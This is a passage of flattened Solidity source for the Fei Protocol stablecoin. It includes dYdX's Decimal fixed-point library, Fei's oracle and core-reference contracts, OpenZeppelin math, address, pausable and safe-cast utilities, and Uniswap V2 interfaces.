integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } ////// ./contracts/external/Decimal.sol /* Copyright 2019 dYdX Trading Inc. Copyright 2020 Empty Set Squad <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* pragma solidity ^0.6.0; */ /* pragma experimental ABIEncoderV2; */ /* import "./SafeMathCopy.sol"; */ /** * @title Decimal * @author dYdX * * Library that defines a fixed-point number with 18 decimal places. */ library Decimal { using SafeMathCopy for uint256; // ============ Constants ============ uint256 private constant BASE = 10**18; // ============ Structs ============ struct D256 { uint256 value; } // ============ Static Functions ============ function zero() internal pure returns (D256 memory) { return D256({ value: 0 }); } function one() internal pure returns (D256 memory) { return D256({ value: BASE }); } function from( uint256 a ) internal pure returns (D256 memory) { return D256({ value: a.mul(BASE) }); } function ratio( uint256 a, uint256 b ) internal pure returns (D256 memory) { return D256({ value: getPartial(a, BASE, b) }); } // ============ Self Functions ============ function add( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.add(b.mul(BASE)) }); } function sub( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.mul(BASE)) }); } function sub( D256 memory self, uint256 b, string memory reason ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.mul(BASE), reason) }); } function mul( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.mul(b) }); } function div( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.div(b) }); } function pow( D256 memory self, uint256 b ) internal pure returns (D256 memory) { if (b == 0) { return from(1); } D256 memory temp = D256({ value: self.value }); for (uint256 i = 1; i < b; i++) { temp = mul(temp, self); } return temp; } function add( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: self.value.add(b.value) }); } function sub( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.value) }); } function sub( D256 memory self, D256 memory b, string memory reason ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.value, reason) }); } function mul( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: getPartial(self.value, b.value, BASE) }); } function div( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: getPartial(self.value, BASE, b.value) }); } function equals(D256 memory self, D256 memory b) internal pure returns (bool) { return self.value == b.value; } function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 2; } function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 0; } function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) > 0; } function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) < 2; } function isZero(D256 memory self) internal pure returns (bool) { return self.value == 0; } function asUint256(D256 memory self) internal pure returns (uint256) { return self.value.div(BASE); } // ============ Core Methods ============ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) private pure returns (uint256) { return target.mul(numerator).div(denominator); } function compareTo( D256 memory a, D256 memory b ) private pure returns (uint256) { if (a.value == b.value) { return 1; } return a.value > b.value ? 2 : 0; } } ////// ./contracts/oracle/IOracle.sol /* pragma solidity ^0.6.0; */ /* pragma experimental ABIEncoderV2; */ /* import "../external/Decimal.sol"; */ /// @title generic oracle interface for Fei Protocol /// @author Fei Protocol interface IOracle { // ----------- Events ----------- event Update(uint256 _peg); // ----------- State changing API ----------- function update() external returns (bool); // ----------- Getters ----------- function read() external view returns (Decimal.D256 memory, bool); function isOutdated() external view returns (bool); } ////// ./contracts/refs/ICoreRef.sol /* pragma solidity ^0.6.0; */ /* pragma experimental ABIEncoderV2; */ /* import "../core/ICore.sol"; */ /// @title CoreRef interface /// @author Fei Protocol interface ICoreRef { // ----------- Events ----------- event CoreUpdate(address indexed _core); // ----------- Governor only state changing api ----------- function setCore(address core) external; function pause() external; function unpause() external; // ----------- Getters ----------- function core() external view returns (ICore); function fei() external view returns (IFei); function tribe() external view returns (IERC20_5); function feiBalance() external view returns (uint256); function tribeBalance() external view returns (uint256); } ////// /home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT /* pragma solidity >=0.6.2 <0.8.0; */ /** * @dev Collection of functions related to the address type */ library Address_2 { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } ////// /home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT /* pragma solidity >=0.6.0 <0.8.0; */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context_2 { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } ////// /home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/utils/Pausable.sol // SPDX-License-Identifier: MIT /* pragma solidity >=0.6.0 <0.8.0; */ /* import "./Context.sol"; */ /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable_2 is Context_2 { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } ////// ./contracts/refs/CoreRef.sol /* pragma solidity ^0.6.0; */ /* pragma experimental ABIEncoderV2; */ /* import "./ICoreRef.sol"; */ /* import "/home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/utils/Pausable.sol"; */ /* import "/home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/utils/Address.sol"; */ /// @title A Reference to Core /// @author Fei Protocol /// @notice defines some modifiers and utilities around interacting with Core abstract contract CoreRef is ICoreRef, Pausable_2 { ICore private _core; /// @notice CoreRef constructor /// @param core Fei Core to reference constructor(address core) public { _core = ICore(core); } modifier ifMinterSelf() { if (_core.isMinter(address(this))) { _; } } modifier ifBurnerSelf() { if (_core.isBurner(address(this))) { _; } } modifier onlyMinter() { require(_core.isMinter(msg.sender), "CoreRef: Caller is not a minter"); _; } modifier onlyBurner() { require(_core.isBurner(msg.sender), "CoreRef: Caller is not a burner"); _; } modifier onlyPCVController() { require( _core.isPCVController(msg.sender), "CoreRef: Caller is not a PCV controller" ); _; } modifier onlyGovernor() { require( _core.isGovernor(msg.sender), "CoreRef: Caller is not a governor" ); _; } modifier onlyGuardianOrGovernor() { require( _core.isGovernor(msg.sender) || _core.isGuardian(msg.sender), "CoreRef: Caller is not a guardian or governor" ); _; } modifier onlyFei() { require(msg.sender == address(fei()), "CoreRef: Caller is not FEI"); _; } modifier onlyGenesisGroup() { require( msg.sender == _core.genesisGroup(), "CoreRef: Caller is not GenesisGroup" ); _; } modifier postGenesis() { require( _core.hasGenesisGroupCompleted(), "CoreRef: Still in Genesis Period" ); _; } modifier nonContract() { require(!Address_2.isContract(msg.sender), "CoreRef: Caller is a contract"); _; } /// @notice set new Core reference address /// @param core the new core address function setCore(address core) external override onlyGovernor { _core = ICore(core); emit CoreUpdate(core); } /// @notice set pausable methods to paused function pause() public override onlyGuardianOrGovernor { _pause(); } /// @notice set pausable methods to unpaused function unpause() public override onlyGuardianOrGovernor { _unpause(); } /// @notice address of the Core contract referenced /// @return ICore implementation address function core() public view override returns (ICore) { return _core; } /// @notice address of the Fei contract referenced by Core /// @return IFei implementation address function fei() public view override returns (IFei) { return _core.fei(); } /// @notice address of the Tribe contract referenced by Core /// @return IERC20 implementation address function tribe() public view override returns (IERC20_5) { return _core.tribe(); } /// @notice fei balance of contract /// @return fei amount held function feiBalance() public view override returns (uint256) { return fei().balanceOf(address(this)); } /// @notice tribe balance of contract /// @return tribe amount held function tribeBalance() public view override returns (uint256) { return tribe().balanceOf(address(this)); } function _burnFeiHeld() internal { fei().burn(feiBalance()); } function _mintFei(uint256 amount) internal { fei().mint(address(this), amount); } } ////// ./contracts/refs/IOracleRef.sol /* pragma solidity ^0.6.0; */ /* pragma experimental ABIEncoderV2; */ /* import "../oracle/IOracle.sol"; */ /// @title OracleRef interface /// @author Fei Protocol interface IOracleRef { // ----------- Events ----------- event OracleUpdate(address indexed _oracle); // ----------- State changing API ----------- function updateOracle() external returns (bool); // ----------- Governor only state changing API ----------- function setOracle(address _oracle) external; // ----------- Getters ----------- function oracle() external view returns (IOracle); function peg() external view returns (Decimal.D256 memory); function invert(Decimal.D256 calldata price) external pure returns (Decimal.D256 memory); } ////// /home/brock/git_pkgs/fei-protocol-core/contracts/uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol /* pragma solidity >=0.5.0; */ interface IUniswapV2Pair_3 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } ////// /home/brock/git_pkgs/fei-protocol-core/contracts/uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol /* pragma solidity >=0.6.2; */ interface IUniswapV2Router01_2 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } ////// /home/brock/git_pkgs/fei-protocol-core/contracts/uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol /* pragma solidity >=0.6.2; */ /* import './IUniswapV2Router01.sol'; */ interface IUniswapV2Router02_2 is IUniswapV2Router01_2 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } ////// ./contracts/refs/IUniRef.sol /* pragma solidity ^0.6.0; */ /* pragma experimental ABIEncoderV2; */ /* import "/home/brock/git_pkgs/fei-protocol-core/contracts/uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; */ /* import "/home/brock/git_pkgs/fei-protocol-core/contracts/uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; */ /* import "/home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/token/ERC20/IERC20.sol"; */ /* import "../external/Decimal.sol"; */ /// @title UniRef interface /// @author Fei Protocol interface IUniRef { // ----------- Events ----------- event PairUpdate(address indexed _pair); // ----------- Governor only state changing api ----------- function setPair(address _pair) external; // ----------- Getters ----------- function router() external view returns (IUniswapV2Router02_2); function pair() external view returns (IUniswapV2Pair_3); function token() external view returns (address); function getReserves() external view returns (uint256 feiReserves, uint256 tokenReserves); function deviationBelowPeg( Decimal.D256 calldata price, Decimal.D256 calldata peg ) external pure returns (Decimal.D256 memory); function liquidityOwned() external view returns (uint256); } ////// ./contracts/refs/OracleRef.sol /* pragma solidity ^0.6.0; */ /* pragma experimental ABIEncoderV2; */ /* import "./IOracleRef.sol"; */ /* import "./CoreRef.sol"; */ /// @title Reference to an Oracle /// @author Fei Protocol /// @notice defines some utilities around interacting with the referenced oracle abstract contract OracleRef is IOracleRef, CoreRef { using Decimal for Decimal.D256; /// @notice the oracle reference by the contract IOracle public override oracle; /// @notice OracleRef constructor /// @param _core Fei Core to reference /// @param _oracle oracle to reference constructor(address _core, address _oracle) public CoreRef(_core) { _setOracle(_oracle); } /// @notice sets the referenced oracle /// @param _oracle the new oracle to reference function setOracle(address _oracle) external override onlyGovernor { _setOracle(_oracle); } /// @notice invert a peg price /// @param price the peg price to invert /// @return the inverted peg as a Decimal /// @dev the inverted peg would be X per FEI function invert(Decimal.D256 memory price) public pure override returns (Decimal.D256 memory) { return Decimal.one().div(price); } /// @notice updates the referenced oracle /// @return true if the update is effective function updateOracle() public override returns (bool) { return oracle.update(); } /// @notice the peg price of the referenced oracle /// @return the peg as a Decimal /// @dev the peg is defined as FEI per X with X being ETH, dollars, etc function peg() public view override returns (Decimal.D256 memory) { (Decimal.D256 memory _peg, bool valid) = oracle.read(); require(valid, "OracleRef: oracle invalid"); return _peg; } function _setOracle(address _oracle) internal { oracle = IOracle(_oracle); emit OracleUpdate(_oracle); } } ////// /home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/math/SignedSafeMath.sol // SPDX-License-Identifier: MIT /* pragma solidity >=0.6.0 <0.8.0; */ /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath_2 { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } ////// /home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/utils/SafeCast.sol // SPDX-License-Identifier: MIT /* pragma solidity >=0.6.0 <0.8.0; */ /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast_2 { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an 